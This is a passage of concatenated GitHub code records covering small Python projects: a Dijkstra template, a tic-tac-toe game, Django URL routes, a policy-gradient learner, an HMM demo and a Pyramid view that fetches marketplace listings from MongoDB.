\"data/P6/work_list.csv\"\nbd.formation.worker_load_format(revit_caled_file, work_list_file).to_csv(\n \"data/revit/formatted.csv\", index=False\n)\n\nrevit_formatted_path = \"data/revit/formatted.csv\"\nbd.export.revit_formatted_to_p6(revit_formatted_path, p6_excel_file)\n","repo_name":"Yakkhini/BD-Toolkit","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40250526797","text":"from cmath import inf\nfrom heapq import heappop, heappush\n\n# Djikstra Template\nclass Djikstra:\n def djikstra(n, graph, source, target):\n visited = [False] * n\n distance = [inf] * n\n\n heap = [(0, source)]\n distance[source] = 0\n\n while heap:\n dist, node = heappop(heap)\n if node == target: return dist\n if visited[node]: continue\n visited[node] = True\n for nei, wght in graph[node]:\n newDist = dist + wght\n if not visited[nei] and newDist < distance[nei]:\n distance[nei] = newDist\n heappush(heap, (distance[nei], nei))\n\n return -1","repo_name":"Naboni/Competitive-Programming","sub_path":"Djikstra.py","file_name":"Djikstra.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43791581015","text":"from TicTacToe_5.game_settings import EMPTY_SPACE, FIELD_LENGTH, FIELD_WIDTH, INFO, PLAYER_O, PLAYER_X\nimport random\n\n\ndef get_new_board():\n \"\"\" Return player board \"\"\"\n board = [[EMPTY_SPACE] * FIELD_LENGTH for x in range(FIELD_WIDTH)]\n\n return board\n\n\ndef display_board(board):\n \"\"\" Display game board \"\"\"\n\n title = [f' {x + 1}' for x in range(9)] + [f' {x + 1}' for x in range(9, FIELD_LENGTH)]\n print(*title, sep='')\n\n for num, line in enumerate(board):\n print(num + 1, line)\n\n\ndef input_player_letter():\n f\"\"\" Choose {PLAYER_X} or {PLAYER_O} letter for playing \"\"\"\n\n print(INFO)\n letter = ''\n while not (letter == PLAYER_X or letter == PLAYER_O):\n print(f'Введите символ: {PLAYER_X} или {PLAYER_O} - ')\n letter = input().upper()\n if letter == PLAYER_X:\n return [PLAYER_X, PLAYER_O]\n else:\n return [PLAYER_O, PLAYER_X]\n\n\ndef is_empty_space(board, position_y, position_x):\n \"\"\" Check empty space \"\"\"\n\n return board[position_y][position_x] == EMPTY_SPACE\n\n\ndef first_player():\n \"\"\" Select who goes first \"\"\"\n if random.randint(0, 1) == 0:\n return 'human'\n else:\n return 'ai'\n\n\ndef player_move(board, letter):\n \"\"\" Assign a value in the selected cell \"\"\"\n move_y = move_x = False\n\n while not move_x:\n move_y, *move_x = input(\"Введите координаты клетки через пробел \").split()\n move_y, move_x = int(move_y) - 1, int(move_x[0]) - 1\n\n if move_y not in range(FIELD_WIDTH) or move_x not in range(FIELD_LENGTH):\n print(f'Введите корректные данные! Не превышающие {FIELD_LENGTH}х{FIELD_WIDTH}')\n continue\n if board[move_y][move_x] != EMPTY_SPACE:\n print('Ячейка уже занята')\n board_copy = get_board_copy(board)\n if is_empty_space(board_copy, move_y, move_x):\n board_copy[move_y][move_x] = letter\n\n return board_copy\n\n\ndef get_board_copy(board):\n board_copy = []\n for _ in board:\n board_copy.append(_)\n return board_copy\n\n\ndef random_move(board, letter):\n \"\"\" Ai make move \"\"\"\n\n print('Ход компьютера')\n y = random.randint(0, FIELD_WIDTH - 1)\n x = random.randint(0, FIELD_LENGTH - 1)\n\n print('x = ', x, 'y = ', y)\n board_copy = get_board_copy(board)\n\n if is_empty_space(board_copy, y, x):\n board_copy[y][x] = letter\n else:\n print('Ячейка занята')\n return board_copy\n\n\ndef is_loose(table, letter):\n\n for y in range(FIELD_WIDTH):\n for x in range(FIELD_LENGTH - 4):\n cell = table[y][x]\n if cell != letter:\n continue\n loose = True\n for i in range(1, 5):\n\n if table[y][x + i] != letter:\n loose = False\n break\n return loose\n\n for y in range(FIELD_WIDTH - 4):\n for x in range(FIELD_LENGTH):\n cell = table[y][x]\n if cell != letter:\n continue\n loose = True\n for i in range(1, 5):\n if table[y + i][x] != letter:\n loose = False\n break\n if loose:\n return True\n\n for y in range(FIELD_WIDTH - 4):\n for x in range(FIELD_LENGTH - 4):\n cell = table[y][x]\n if cell != letter:\n continue\n loose = True\n for i in range(1, 5):\n if table[y + i][x + i] != cell:\n loose = False\n break\n return loose\n\n for y in range(4, FIELD_WIDTH):\n for x in range(FIELD_LENGTH - 4):\n cell = table[y][x]\n if cell != letter:\n continue\n loose = True\n for i in range(1, 5):\n if table[y - i][x + i] != letter:\n loose = False\n break\n if loose:\n return True\n\n\ndef is_board_full(table):\n \"\"\" Check empty position \"\"\"\n\n for i in range(FIELD_LENGTH):\n for j in range(FIELD_WIDTH):\n if table[i][j] == EMPTY_SPACE:\n return False\n return True\n","repo_name":"ReVadim/Games","sub_path":"TicTacToe_5/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":4282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30546464776","text":"from .._tier0 import execute\nfrom .._tier0 import plugin_function\nfrom .._tier0 import Image\n\n@plugin_function\ndef binary_edge_detection(source : Image, destination : Image = None):\n \"\"\"Determines pixels/voxels which are on the surface of binary objects and \n sets only them to 1 in the \n destination image. All other pixels are set to 0.\n \n Parameters\n ----------\n source : Image\n The binary input image where edges will be searched.\n destination : Image\n The output image where edge pixels will be 1.\n \n \n Returns\n -------\n destination\n \n Examples\n --------\n >>> import pyclesperanto_prototype as cle\n >>> cle.binary_edge_detection(source, destination)\n \n References\n ----------\n .. [1] https://clij.github.io/clij2-docs/reference_binaryEdgeDetection\n \"\"\"\n\n\n parameters = {\n \"dst\": destination,\n \"src\":source\n }\n\n execute(__file__, 'binary_edge_detection_' + str(len(destination.shape)) + 'd_x.cl', 'binary_edge_detection_' + str(len(destination.shape)) + 'd', destination.shape, parameters)\n return destination\n","repo_name":"murodin/pyclesperanto_prototype","sub_path":"pyclesperanto_prototype/_tier1/_binary_edge_detection.py","file_name":"_binary_edge_detection.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"12442716534","text":"from django.conf.urls import patterns, include, url\n\n# Uncomment the next two lines to enable the admin:\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n\n url(r'^core/$', 'core.views.index'),\n url(r'^control/$', 'core.views.getParamsOfMenuBar'),\n url(r'^core/toggle/$', 'core.views.alterStatus'), \n url(r'^registrar/$', 'core.views.registrar'),\n url(r'^$', 'core.views.logar'),\n\n\turl(r'^open$', 'core.views.poolOpen'),\n\turl(r'^close$', 'core.views.poolClose'),\n\turl(r'^getout$', 'core.views.userGetOut'),\n\turl(r'^getin$', 'core.views.userGetIn'),\n\turl(r'^fail$', 'core.views.sensorFail'),\n\t\n url(r'^core/sensors/$', 'core.views.alterSensorStatus'),\n\n # Uncomment the next line to enable the admin:\n url(r'^admin/', include(admin.site.urls)),\n)\n","repo_name":"guscl/django-sispai","sub_path":"sispai/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23898834731","text":"#Three Types of Methods (1)Instance Method (2)Class Method (3) Static Method (yes it is different from class method)\n#(1) we can use Instance method to mutate(change) or access instance variable\n#Accessor(it's Method):-Are thos who only fetch attributes of class\n#Mutator(it's Method):-Are thos who can change the value of attributes of class\n#(2)we can use Class method to mutate(change) or access class variable\n#(3) we can use static methods when we nothing to do with class variables or nothing to do with instance variable we just want to perform some task regarding class\n\nclass Demo:\n a=12\n b=10\n def __init__(self):\n self.a=20\n self.b=30\n def show(self): #Instance Method\n print(\"Sum of instance variables are:\",self.a+self.b)\n @classmethod\n def dispaly(cls): #Class Method\n print(\"sum of class variables are:\",cls.a+cls.b)\n @staticmethod\n def static_display(): #Static Method\n print(\"This is class Demo:\",__name__)\nd1=Demo()\nprint(d1.a) #this is instance variable a\nd1.show()\nDemo.dispaly()\nd1.static_display()\nDemo.static_display()\n","repo_name":"Krushnarajsinh/MyPrograms","sub_path":"MethodTypesInOops.py","file_name":"MethodTypesInOops.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7292488267","text":"import redis\nfrom lib import db\nimport sys\n\nr = redis.StrictRedis(host='redis', decode_responses=True)\nfor company in db.get_companies(r):\n\ttry:\n\t\tprint('company', company, 'has', db.get_number_of_tweets(r, company), 'tweets')\n\t\tprint('removing unneccessary')\n\t\tfor tweet_id in db.get_tweets_timeline(r, company, withscores=False):\n\t\t\ttweet_score = db.get_tweet_score(r, company, tweet_id)\n\t\t\tif (tweet_score == 0.0):\n\t\t\t\tprint('removing', tweet_id, tweet_score)\n\t\t\t\tdb.remove_tweets(r, company, tweet_id)\n\n\t\tprint('company', company, 'has', db.get_number_of_tweets(r, company), 'tweets')\n\t\tprint('score before', db.get_company_score(r, company))\n\t\tdb.update_company_overall_score(r, company)\n\t\tprint('score after', db.get_company_score(r, company))\n\texcept Exception:\n\t\tr.delete('companyscore:{0}'.format(company))\n\t\tpass\n\n","repo_name":"tonickkozlov/twitter-company-rating-backend","sub_path":"cleanup_db.temp.py","file_name":"cleanup_db.temp.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"24493491516","text":"\"\"\"DOCXIngestor module to ingest and parse DOCX files with quotes.\n\nThis module provides a DOCXIngestor class that can ingest and parse DOCX files\ncontaining quotes and author information, and create a list of QuoteModel\ninstances from the parsed data.\n\"\"\"\nimport docx\nfrom typing import List\nfrom .IngestorInterface import IngestorInterface\nfrom models import QuoteModel\n\n\nclass DOCXIngestor(IngestorInterface):\n \"\"\"Ingest and parse DOCX files with quotes and author information.\n\n The DOCXIngestor class inherits from the IngestorInterface and implements\n the required class methods to parse DOCX files containing quotes and author\n information, and create a list of QuoteModel instances\n from the parsed data.\n \"\"\"\n\n @classmethod\n def can_ingest(cls, path: str) -> bool:\n \"\"\"Check if the given file can be ingested.\n\n Args:\n path (str): The path to the file.\n\n Returns:\n bool: True if the file is a DOCX file, False otherwise.\n \"\"\"\n return path.endswith('.docx')\n\n @classmethod\n def parse(cls, path: str) -> List[QuoteModel]:\n \"\"\"Parse the DOCX file and create a list of QuoteModel instances.\n\n Args:\n path (str): The path to the DOCX file.\n\n Returns:\n List[QuoteModel]: A list of QuoteModel instances\n created from the parsed data.\n \"\"\"\n print(f'Called parse method in DOCXIngestor for path: {path}')\n quotes = []\n try:\n doc = docx.Document(path)\n for paragraph in doc.paragraphs:\n if paragraph.text:\n quote, author = paragraph.text.split(' - ')\n quotes.append(QuoteModel(quote, author))\n except Exception as e:\n print(f\"Error parsing DOCX file: {e}\")\n\n # Return the final list of QuoteModel objects\n return quotes\n","repo_name":"AndyKiryuhin/AndyMemeGenerator","sub_path":"QuoteEngine/DOCXIngestor.py","file_name":"DOCXIngestor.py","file_ext":"py","file_size_in_byte":1899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73034100853","text":"from .Learner import Learner\nfrom torch.autograd import Variable\nfrom torch_rl.tools import Memory\nimport torch\nfrom torch_rl.policies import DiscreteModelPolicy\nfrom .LearnerLog import *\nimport numpy as np\n\nclass LearnerPolicyGradient(Learner):\n '''\n Allows to learn a policy by using the Policy Gradient technique with variance term\n\n Params:\n - log: the log class for monitoring the learning algorithm\n - action_space(gym.spaces.Discrete): the action space of the resulting policy\n - average_reward_window: computes the average reward over the n last episodes and use this value as a vraiance term in REINFORCE\n - torch_model: the pytorch model taking as input an observation, and returning a probability for each possible action\n - optimizer: the SGD optimizer (using the torch_model parameters)\n '''\n def __init__(self,log=LearnerLog(),action_space=None,average_reward_window=10,torch_model=None,optimizer=None,entropy_coefficient=0.0):\n self.torch_model=torch_model\n self.optimizer=optimizer\n self.average_reward_window=average_reward_window\n self.action_space=action_space\n self.log=log\n self.entropy_coefficient=entropy_coefficient\n\n\n def reset(self,**parameters):\n #Initilize the memories where the rewards (for each time step) will be stored\n self.memory_past_rewards=[]\n pass\n\n def sample_action(self):\n obs=self.observation.unsqueeze(0)\n probabilities = self.torch_model(Variable(obs,requires_grad=True))\n ent=probabilities*probabilities.log()\n ent=ent.sum()\n if (self.entropy is None):\n self.entropy=ent\n else:\n self.entropy=self.entropy+ent\n\n\n a = probabilities.multinomial(1)\n self.actions_taken.append(a)\n return (a.data[0][0])\n\n def step(self,env=None,discount_factor=1.0,maximum_episode_length=100,render=False):\n '''\n Computes the gradient descent over one episode\n\n Params:\n - env: the openAI environment\n - discount_factor: the discount factor used for REINFORCE\n - maximum_episode_length: the maximum episode length before stopping the episode\n '''\n self.actions_taken=[]\n self.rewards = []\n\n self.observation=env.reset()\n if (render):\n env.render()\n if (isinstance(self.observation,np.ndarray)):\n self.observation=torch.Tensor(self.observation)\n\n self.entropy=None\n #Draw the episode\n sum_reward=0\n for t in range(maximum_episode_length):\n action = self.sample_action()\n self.observation,immediate_reward,finished,info=env.step(action)\n if (render):\n env.render()\n if (isinstance(self.observation, np.ndarray)):\n self.observation = torch.Tensor(self.observation)\n sum_reward=sum_reward+immediate_reward\n self.rewards.append(immediate_reward)\n if (finished):\n break\n\n self.log.new_iteration()\n self.log.add_dynamic_value(\"total_reward\",sum_reward)\n\n #Update the policy\n T = len(self.actions_taken)\n Tm = len(self.memory_past_rewards)\n for t in range(Tm, T):\n self.memory_past_rewards.append(Memory(self.average_reward_window))\n\n # Update memory with (future) discounted rewards\n discounted_reward = 0\n self.optimizer.zero_grad()\n grads = []\n for t in range(T, 0, -1):\n discounted_reward = discounted_reward * discount_factor + self.rewards[t - 1]\n self.memory_past_rewards[t - 1].push(discounted_reward)\n avg_reward = self.memory_past_rewards[t - 1].mean()\n rein=torch.Tensor([[discounted_reward - avg_reward]])\n self.actions_taken[t - 1].reinforce(rein)\n grads.append(None)\n\n torch.autograd.backward(self.actions_taken, grads,retain_variables=True)\n self.entropy=self.entropy/T\n print(\"Entropy is %f\" % self.entropy.data[0])\n\n if (self.entropy_coefficient>0):\n self.entropy=self.entropy*self.entropy_coefficient\n self.entropy.backward()\n self.optimizer.step()\n\n\n def get_policy(self,stochastic=False):\n '''\n Params:\n - stochastic: True if one wants a stochastic policy, False if one wants a policy based on the argmax of the output probabilities\n '''\n return DiscreteModelPolicy(self.action_space,self.torch_model,stochastic=stochastic)","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/ludc_rl/rl-master/torch_rl/learners/LearnerPolicyGradient.py","file_name":"LearnerPolicyGradient.py","file_ext":"py","file_size_in_byte":4587,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"26427711806","text":"import random\nfrom tkinter import *\n\nroot = Tk()\nroot.geometry('900x500')\nroot.title('Dice Roller')\n\nmain_label = Label(text='', font='Arial 300 bold')\n\ndef diceroll():\n dices = ['\\u2680', '\\u2681', '\\u2682', '\\u2683', '\\u2684', '\\u2685']\n main_label.configure(text=f'{random.choice(dices)}')\n main_label.pack()\n\nButton(text=\"Roll the dice\", command=diceroll).pack()\n\n\nroot.mainloop()","repo_name":"ritarpan-ghosh/Dice-Roller","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15000780100","text":"from HMM import HMM\r\nimport numpy as np\r\nif __name__==\"__main__\":\r\n\ttrainsition_probability =[[0.5, 0.2,0.3], [0.3,0.5,0.2 ],[0.2,0.3,0.5]]# [[0.7, 0.3], [0.4, 0.6]]\r\n\temission_probability = np.array([[0.5, 0.5], [0.4, 0.6],[0.7,0.3]])#np.array([[0.5, 0.4, 0.1], [0.1, 0.3, 0.6]])\r\n\t#pi = [0.6, 0.4]\r\n\tpi=[0.2,0.4,0.4]\r\n\t# 然后下面先得到前向算法,在A,B,pi参数已知的前提下,求出特定观察序列的概率是多少?\r\n\tobs_seq = [0,1,0]\r\n\thmm=HMM(trainsition_probability,emission_probability,pi,obs_seq,);\r\n\talph=hmm.forward()\r\n\tbeta=hmm.Backward()\r\n\t#print(alph.transpose(),beta.transpose(),);exit()\r\n\t# 下面是得到后向算法的结果\r\n\tres_backword = 0\r\n\tres_backward = np.sum(pi * emission_probability[:,obs_seq[0]]* beta[0,:]) # 一定要乘以发射的那一列\r\n\tprint(\"res_backward = {}\".format(res_backward))\r\n\tprint(\"res_forward = {}\".format(np.sum(alph[len(obs_seq)-1,:])))\r\n\r\n\tdelta, paths=hmm.viterbi()\r\n\tprint(delta,paths)\r\n","repo_name":"nwpuIT/Hmm_py","sub_path":"HMM_PY/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"43040054287","text":"# E(X*Y) = E(X)*E(Y)\n# S(X*Y) = S(X)*S(Y)\ndef main():\n mod = 10**9 + 7\n\n n = int(input())\n sum_of = []\n for _ in range(n):\n s = sum(map(int, input().split()))\n s %= mod\n sum_of.append(s)\n\n ans = 1\n for val in sum_of:\n ans *= val\n ans %= mod\n print(ans)\n\n\nmain()\n","repo_name":"batamorphism/coding","sub_path":"Python/AtCoder/old/typical90_az_1215.py","file_name":"typical90_az_1215.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37508671751","text":"from pyramid.view import (\n view_config,\n view_defaults\n)\nfrom pyramid.response import Response\n\n\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# HOME VIEWS\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n\n# ########################################################################################################################\n# ########################################################################################################################\n# ########################################################################################################################\n# Home\n@view_defaults(route_name='home')\nclass HomeViews(object):\n def __init__(self, request):\n self.request = request\n\n\n\n @view_config(renderer='../index.pt')\n def homepage(self):\n # *****************************************************\n import pymongo\n from pymongo import MongoClient\n import gridfs\n from gridfs import GridFS\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client = MongoClient('%s' % connection_string)\n db = client.spacenetng_database\n\n\n # Create or open a text based records collection called electronics_text_collection\n electronics_text_collection = db.electronics_text_collection\n\n # Establish gridfs collection connection\n # Creating or getting an electronics gridfs collection called 'electronics_images_collection'\n # (Getting the GridFS object)\n electronics_image_collection = GridFS(db, \"electronics_images_collection\")\n\n # Retrieve document record from database operation\n electronics_collection = electronics_text_collection.find().sort([(\"_id\", pymongo.DESCENDING)]).limit(2) #This returns 2 records\n\n # Push documents into a list\n electronics_collection_list = []\n for record in electronics_collection:\n electronics_collection_list.append(record)\n\n electronics_document1 = electronics_collection_list[0]\n\n # Extracting images\n # For the images for document1\n electronics_document1_images_list_rawFile = []\n for image_name in electronics_document1[\"Images\"]:\n electronics_document1_images_list_rawFile.append(electronics_image_collection.get_last_version(filename=image_name))\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document1\n #######################\n\n # For the text strings,\n electronics_collection_document1_productID = electronics_document1[\"Product ID\"]\n electronics_collection_document1_username = electronics_document1[\"Username\"]\n electronics_collection_document1_state = electronics_document1[\"State\"]\n electronics_collection_document1_city = electronics_document1[\"City\"]\n electronics_collection_document1_description = electronics_document1[\"Description\"]\n electronics_collection_document1_mobile = electronics_document1[\"Mobile\"]\n electronics_collection_document1_email = electronics_document1[\"Email\"]\n electronics_collection_document1_category = electronics_document1[\"Category\"]\n electronics_collection_document1_condition = electronics_document1[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n electronics_document1_images_UTF8_list = []\n\n for raw_image in electronics_document1_images_list_rawFile:\n electronics_document1_binaryImage = raw_image.read()\n electronics_document1_base64Image = codecs.encode(electronics_document1_binaryImage, 'base64')\n electronics_document1_UTF8Image = electronics_document1_base64Image.decode('utf-8')\n electronics_document1_images_UTF8_list.append(electronics_document1_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n electronics_collection_document1_imageA = electronics_document1_images_UTF8_list[0]\n\n try:\n electronics_collection_document1_imageB = electronics_document1_images_UTF8_list[1]\n except:\n electronics_collection_document1_imageB = electronics_document1_images_UTF8_list[0]\n\n try:\n electronics_collection_document1_imageC = electronics_document1_images_UTF8_list[2]\n except:\n electronics_collection_document1_imageC = electronics_document1_images_UTF8_list[0]\n\n try:\n electronics_collection_document1_imageD = electronics_document1_images_UTF8_list[3]\n except:\n electronics_collection_document1_imageD = electronics_document1_images_UTF8_list[0] \n \n try:\n electronics_collection_document1_imageE = electronics_document1_images_UTF8_list[4]\n except:\n electronics_collection_document1_imageE = electronics_document1_images_UTF8_list[0]\n\n # next Operation\n electronics_productID1 = electronics_collection_document1_productID\n electronics_username1 = electronics_collection_document1_username\n electronics_state1 = electronics_collection_document1_state \n electronics_city1 = electronics_collection_document1_city\n electronics_description1 = electronics_collection_document1_description\n electronics_mobile1 = electronics_collection_document1_mobile\n electronics_email1 = electronics_collection_document1_email\n electronics_category1 = electronics_collection_document1_category\n electronics_condition1 = electronics_collection_document1_condition\n electronics_image1A = electronics_collection_document1_imageA\n electronics_image1B = electronics_collection_document1_imageB\n electronics_image1C = electronics_collection_document1_imageC\n electronics_image1D = electronics_collection_document1_imageD\n electronics_image1E = electronics_collection_document1_imageE\n\n\n # Create or open a text based records collection called automobiles_text_collection\n automobiles_text_collection = db.automobiles_text_collection\n\n # Establish gridfs collection connection\n # Creating or getting an automobiles gridfs collection called 'automobiles_images_collection'\n # (Getting the GridFS object)\n automobiles_image_collection = GridFS(db, \"automobiles_images_collection\")\n\n # Retrieve document record from database operation\n automobiles_collection = automobiles_text_collection.find().sort([(\"_id\", pymongo.DESCENDING)]).limit(2) #This returns 2 records\n\n # Push documents into a list\n automobiles_collection_list = []\n for record in automobiles_collection:\n automobiles_collection_list.append(record)\n\n automobiles_document1 = automobiles_collection_list[0]\n\n # Extracting images\n # For the images for document1\n automobiles_document1_images_list_rawFile = []\n for image_name in automobiles_document1[\"Images\"]:\n automobiles_document1_images_list_rawFile.append(automobiles_image_collection.get_last_version(filename=image_name))\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document1\n #######################\n\n # For the text strings,\n automobiles_collection_document1_productID = automobiles_document1[\"Product ID\"]\n automobiles_collection_document1_username = automobiles_document1[\"Username\"]\n automobiles_collection_document1_state = automobiles_document1[\"State\"]\n automobiles_collection_document1_city = automobiles_document1[\"City\"]\n automobiles_collection_document1_description = automobiles_document1[\"Description\"]\n automobiles_collection_document1_mobile = automobiles_document1[\"Mobile\"]\n automobiles_collection_document1_email = automobiles_document1[\"Email\"]\n automobiles_collection_document1_category = automobiles_document1[\"Category\"]\n automobiles_collection_document1_condition = automobiles_document1[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n automobiles_document1_images_UTF8_list = []\n\n for raw_image in automobiles_document1_images_list_rawFile:\n automobiles_document1_binaryImage = raw_image.read()\n automobiles_document1_base64Image = codecs.encode(automobiles_document1_binaryImage, 'base64')\n automobiles_document1_UTF8Image = automobiles_document1_base64Image.decode('utf-8')\n automobiles_document1_images_UTF8_list.append(automobiles_document1_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n automobiles_collection_document1_imageA = automobiles_document1_images_UTF8_list[0]\n\n try:\n automobiles_collection_document1_imageB = automobiles_document1_images_UTF8_list[1]\n except:\n automobiles_collection_document1_imageB = automobiles_document1_images_UTF8_list[0]\n\n try:\n automobiles_collection_document1_imageC = automobiles_document1_images_UTF8_list[2]\n except:\n automobiles_collection_document1_imageC = automobiles_document1_images_UTF8_list[0]\n\n try:\n automobiles_collection_document1_imageD = automobiles_document1_images_UTF8_list[3]\n except:\n automobiles_collection_document1_imageD = automobiles_document1_images_UTF8_list[0] \n \n try:\n automobiles_collection_document1_imageE = automobiles_document1_images_UTF8_list[4]\n except:\n automobiles_collection_document1_imageE = automobiles_document1_images_UTF8_list[0]\n\n # next Operation\n automobiles_productID1 = automobiles_collection_document1_productID\n automobiles_username1 = automobiles_collection_document1_username\n automobiles_state1 = automobiles_collection_document1_state \n automobiles_city1 = automobiles_collection_document1_city\n automobiles_description1 = automobiles_collection_document1_description\n automobiles_mobile1 = automobiles_collection_document1_mobile\n automobiles_email1 = automobiles_collection_document1_email\n automobiles_category1 = automobiles_collection_document1_category\n automobiles_condition1 = automobiles_collection_document1_condition\n automobiles_image1A = automobiles_collection_document1_imageA\n automobiles_image1B = automobiles_collection_document1_imageB\n automobiles_image1C = automobiles_collection_document1_imageC\n automobiles_image1D = automobiles_collection_document1_imageD\n automobiles_image1E = automobiles_collection_document1_imageE\n\n\n # Create or open a text based records collection called housing_text_collection\n housing_text_collection = db.housing_text_collection\n\n # Establish gridfs collection connection\n # Creating or getting an housing gridfs collection called 'housing_images_collection'\n # (Getting the GridFS object)\n housing_image_collection = GridFS(db, \"housing_images_collection\")\n\n # Retrieve document record from database operation\n housing_collection = housing_text_collection.find().sort([(\"_id\", pymongo.DESCENDING)]).limit(2) #This returns 2 records\n\n # Push documents into a list\n housing_collection_list = []\n for record in housing_collection:\n housing_collection_list.append(record)\n\n housing_document1 = housing_collection_list[0]\n\n # Extracting images\n # For the images for document1\n housing_document1_images_list_rawFile = []\n for image_name in housing_document1[\"Images\"]:\n housing_document1_images_list_rawFile.append(housing_image_collection.get_last_version(filename=image_name))\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document1\n #######################\n\n # For the text strings,\n housing_collection_document1_productID = housing_document1[\"Product ID\"]\n housing_collection_document1_username = housing_document1[\"Username\"]\n housing_collection_document1_state = housing_document1[\"State\"]\n housing_collection_document1_city = housing_document1[\"City\"]\n housing_collection_document1_description = housing_document1[\"Description\"]\n housing_collection_document1_mobile = housing_document1[\"Mobile\"]\n housing_collection_document1_email = housing_document1[\"Email\"]\n housing_collection_document1_category = housing_document1[\"Category\"]\n housing_collection_document1_condition = housing_document1[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n housing_document1_images_UTF8_list = []\n\n for raw_image in housing_document1_images_list_rawFile:\n housing_document1_binaryImage = raw_image.read()\n housing_document1_base64Image = codecs.encode(housing_document1_binaryImage, 'base64')\n housing_document1_UTF8Image = housing_document1_base64Image.decode('utf-8')\n housing_document1_images_UTF8_list.append(housing_document1_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n housing_collection_document1_imageA = housing_document1_images_UTF8_list[0]\n\n try:\n housing_collection_document1_imageB = housing_document1_images_UTF8_list[1]\n except:\n housing_collection_document1_imageB = housing_document1_images_UTF8_list[0]\n\n try:\n housing_collection_document1_imageC = housing_document1_images_UTF8_list[2]\n except:\n housing_collection_document1_imageC = housing_document1_images_UTF8_list[0]\n\n try:\n housing_collection_document1_imageD = housing_document1_images_UTF8_list[3]\n except:\n housing_collection_document1_imageD = housing_document1_images_UTF8_list[0] \n \n try:\n housing_collection_document1_imageE = housing_document1_images_UTF8_list[4]\n except:\n housing_collection_document1_imageE = housing_document1_images_UTF8_list[0]\n\n # next Operation\n housing_productID1 = housing_collection_document1_productID\n housing_username1 = housing_collection_document1_username\n housing_state1 = housing_collection_document1_state \n housing_city1 = housing_collection_document1_city\n housing_description1 = housing_collection_document1_description\n housing_mobile1 = housing_collection_document1_mobile\n housing_email1 = housing_collection_document1_email\n housing_category1 = housing_collection_document1_category\n housing_condition1 = housing_collection_document1_condition\n housing_image1A = housing_collection_document1_imageA\n housing_image1B = housing_collection_document1_imageB\n housing_image1C = housing_collection_document1_imageC\n housing_image1D = housing_collection_document1_imageD\n housing_image1E = housing_collection_document1_imageE\n\n\n # Create or open a text based records collection called fashion_text_collection\n fashion_text_collection = db.fashion_text_collection\n\n # Establish gridfs collection connection\n # Creating or getting an fashion gridfs collection called 'fashion_images_collection'\n # (Getting the GridFS object)\n fashion_image_collection = GridFS(db, \"fashion_images_collection\")\n\n # Retrieve document record from database operation\n fashion_collection = fashion_text_collection.find().sort([(\"_id\", pymongo.DESCENDING)]).limit(2) #This returns 2 records\n\n # Push documents into a list\n fashion_collection_list = []\n for record in fashion_collection:\n fashion_collection_list.append(record)\n\n fashion_document1 = fashion_collection_list[0]\n\n # Extracting images\n # For the images for document1\n fashion_document1_images_list_rawFile = []\n for image_name in fashion_document1[\"Images\"]:\n fashion_document1_images_list_rawFile.append(fashion_image_collection.get_last_version(filename=image_name))\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document1\n #######################\n\n # For the text strings,\n fashion_collection_document1_productID = fashion_document1[\"Product ID\"]\n fashion_collection_document1_username = fashion_document1[\"Username\"]\n fashion_collection_document1_state = fashion_document1[\"State\"]\n fashion_collection_document1_city = fashion_document1[\"City\"]\n fashion_collection_document1_description = fashion_document1[\"Description\"]\n fashion_collection_document1_mobile = fashion_document1[\"Mobile\"]\n fashion_collection_document1_email = fashion_document1[\"Email\"]\n fashion_collection_document1_category = 